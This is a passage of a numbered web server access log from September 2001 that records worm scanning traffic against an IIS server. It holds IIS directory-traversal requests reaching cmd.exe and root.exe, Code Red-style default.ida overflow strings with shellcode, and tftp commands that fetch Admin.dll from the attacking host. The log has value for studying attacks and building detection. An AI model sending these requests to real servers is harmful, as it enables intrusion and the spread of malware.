  9827. 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9828. 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9829. 20010919 09:19:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9830. 20010919 09:19:28:  [128.163.95.231] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9831. 20010919 09:20:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9832. 20010919 09:20:12:  [128.163.95.231] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9833. 20010919 09:20:31: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9834. 20010919 09:20:31:  [128.163.95.231] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9835. 20010919 09:20:49: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9836. 20010919 09:20:49:  [128.163.95.231] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9837. 20010919 09:21:08: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9838. 20010919 09:21:08:  [128.163.95.231] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9839. 20010919 09:21:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9840. 20010919 09:21:26:  [128.163.95.231] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9841. 20010919 09:21:44: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9842. 20010919 09:21:45:  [128.163.95.231] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9843. 20010919 09:22:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9844. 20010919 09:22:03:  [128.163.95.231] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9845. 20010919 09:22:22: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9846. 20010919 09:22:22:  [128.163.95.231] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9847. 20010919 09:22:40: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9848. 20010919 09:22:40:  [128.163.95.231] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9849. 20010919 09:22:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9850. 20010919 09:22:59:  [128.163.95.231] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9851. 20010919 09:23:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9852. 20010919 09:23:17:  [128.163.95.231] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9853. 20010919 09:23:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9854. 20010919 09:23:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9855. 20010919 09:23:36:  [128.163.95.231] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9856. 20010919 09:23:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9857. 20010919 09:23:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9858. 20010919 09:23:56:  [128.163.95.231] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9859. 20010919 09:24:14: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9860. 20010919 09:24:14: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9861. 20010919 09:24:14:  [128.163.95.231] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9862. 20010919 09:24:33: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9863. 20010919 09:24:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9864. 20010919 09:24:33:  [128.163.95.231] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9865. 20010919 09:24:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9866. 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9867. 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9868. 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9869. 20010919 09:24:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9870. 20010919 09:24:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9871. 20010919 09:24:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9872. 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9873. 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9874. 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9875. 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9876. 20010919 09:24:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9877. 20010919 09:24:55: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9878. 20010919 09:24:55: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9879. 20010919 09:25:11: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9880. 20010919 09:25:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9881. 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9882. 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9883. 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9884. 20010919 09:27:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9885. 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9886. 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9887. 20010919 09:27:32: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9888. 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9889. 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9890. 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9891. 20010919 09:27:33: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9892. 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9893. 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9894. 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9895. 20010919 09:27:34: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9896. 20010919 09:27:35: BOS-ADMIN101.BU.EDU [128.197.235.101] ""
  9897. 20010919 09:32:41: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9898. 20010919 09:32:41: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9899. 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9900. 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9901. 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9902. 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9903. 20010919 09:32:42: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9904. 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9905. 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9906. 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9907. 20010919 09:32:43: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9908. 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9909. 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9910. 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9911. 20010919 09:32:44: BOS-ADMIN101.BU.EDU [128.197.235.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9912. 20010919 09:32:44: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9913. 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9914. 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9915. 20010919 09:34:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9916. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9917. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9918. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9919. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9920. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9921. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9922. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9923. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9924. 20010919 09:34:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9925. 20010919 09:34:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9926. 20010919 09:34:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9927. 20010919 09:34:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9928. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9929. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9930. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9931. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9932. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9933. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9934. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9935. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9936. 20010919 09:36:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9937. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9938. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9939. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9940. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9941. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9942. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9943. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9944. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9945. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9946. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9947. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9948. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9949. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9950. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9951. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9952. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9953. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9954. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9955. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9956. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9957. 20010919 09:36:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9958. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9959. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9960. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9961. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9962. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9963. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9964. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9965. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9966. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9967. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9968. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9969. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9970. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9971. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9972. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9973. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9974. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9975. 20010919 09:36:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9976. 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9977. 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9978. 20010919 09:36:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9979. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9980. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9981. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9982. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0"
  9983. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0"
  9984. 20010919 09:39:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0"
  9985. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9986. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9987. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9988. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9989. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9990. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  9991. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0"
  9992. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0"
  9993. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0"
  9994. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9995. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9996. 20010919 09:40:00: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9997. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  9998. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  9999. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10000. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10001. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
